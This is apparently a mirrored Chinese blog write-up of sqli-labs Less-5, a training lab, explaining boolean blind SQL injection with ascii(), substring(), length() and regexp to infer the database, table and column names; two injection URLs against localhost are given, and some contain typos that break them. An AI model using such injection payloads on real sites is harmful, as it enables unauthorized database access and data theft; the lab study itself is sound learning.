zoukankan      html  css  js  c++  java
  • sqli_labs less-5

    这一关主要用到sql盲注,从源代码中可以看到,运行返回结果正确的时候只返回you are in....,不会返回数据库当中的信息了。

    接下来我们用left()判断数据库版本。

    接下来我们用length() ASCII(),substring()来猜数据库名

    数据库的长度为8

     

    由此可知数据库是security()

    接着我们来猜表名

    这里我是直接猜的user表,我们可以通过修改substring(string,*,1)来猜表名,我们可以通过limit *,1来逐个猜表名。

    http://localhost:8080/sqli-labs/Less-5/?id=1" and ascii(substring(select table_name from information_schema.tables where schena_name=database()),1,1)=117--+

    利用正则表达regexp判断users中的列

    http://localhost:8080/sqli-labs/Less-5/?id=1" and 1=(select 1 from information_schema.columns where tables_name=users and column_name
    regexp "^us[a-z]" limit 0,1) --+

    上述语句时选择users表中的列名是否有us**的列

     

    上图中可以看到username存在。我们可以将username换成password等其他的项也是正确的。

  • 相关阅读:
    设计模式-适配器模式(09)
    windows电脑使用技巧及常用CMD
    接口调用方法
    矩阵对角线和
    函数基础小结
    文件处理实战之购物车系统
    文件处理小结
    Python进阶实战之三级菜单
    Python进阶小结
    Python深浅拷贝
  • 原文地址:https://www.cnblogs.com/wang1212-/p/8710061.html
Copyright © 2011-2022 走看看